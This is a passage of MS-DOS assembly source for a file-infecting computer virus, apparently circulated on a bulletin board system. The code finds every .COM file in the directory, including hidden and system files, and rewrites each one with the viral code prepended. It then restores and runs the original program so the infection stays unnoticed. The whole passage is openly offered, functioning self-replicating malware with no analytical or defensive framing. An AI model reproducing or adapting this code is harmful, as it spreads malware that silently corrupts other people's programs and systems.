mov dx,newdta ;Set new Disk Transfer Address
mov ah,1A ;Set DTA
int 21
mov dx,offset allcom ;Search for '*.COM' files
mov cx,110b ;Normal, Hidden or System
mov ah,4E ;Find First file
int 21
jc done ;Quit if none found
mainlp:
mov dx,offset fname
mov ax,3D02 ;Open file in Read/Write mode
int 21
mov [handle],ax ;Save handle
mov bx,ax
push es
pop ds
mov dx,buffer
mov cx,0FFFF ;Read all bytes
mov ah,3F ;Read from handle
int 21 ;Bytes read in AX
add ax,buffer
mov cs:[eof],ax ;Save pointer to the end of file
xor cx,cx ;Go to file beginning
mov dx,cx
mov bx,cs:[handle]
mov ax,4200 ;LSEEK from the beginning of the file
int 21
jc close ;Leave this file if error occures
mov dx,0 ;Write the whole code (virus+file)
mov cx,cs:[eof] ; back onto the file
mov bx,cs:[handle]
mov ah,40 ;Write to handle
int 21
close:
mov bx,cs:[handle]
mov ah,3E ;Close the file
int 21
push cs
pop ds ;Restore DS
mov ah,4F ;Find next matching file
mov dx,newdta
int 21
jc done ;Exit if all found
jmp mainlp ;Otherwise loop again
done:
mov dx,olddta ;Restore old Disk Transfer Address
mov ah,1A ;Set DTA
int 21
mov si,offset transf ;Move this part of code
mov cx,smalcod ;Code length
xor di,di ;Move to ES:0
rep movsb ;Do it
xor di,di ;Clear DI
mov word ptr cs:[progbeg],0
mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
jmp cs:[progbeg] ;Jump at program start
transf:
push ds
pop es
mov si,buffer+100
cmp [counter],1
jne skip
sub si,200
skip:
mov di,offset start
mov cx,0FFFF ;Restore original program's code
sub cx,si
rep movsb
mov word ptr cs:[start],offset start
mov word ptr cs:[start+2],ds
jmp dword ptr cs:[start] ;Jump to program start
endcode label byte
int 20 ;Dummy program
int 20 ;???
db 0 ;Unused
code ends
end start
Downloaded From P-80 International Information Systems 304-744-2253
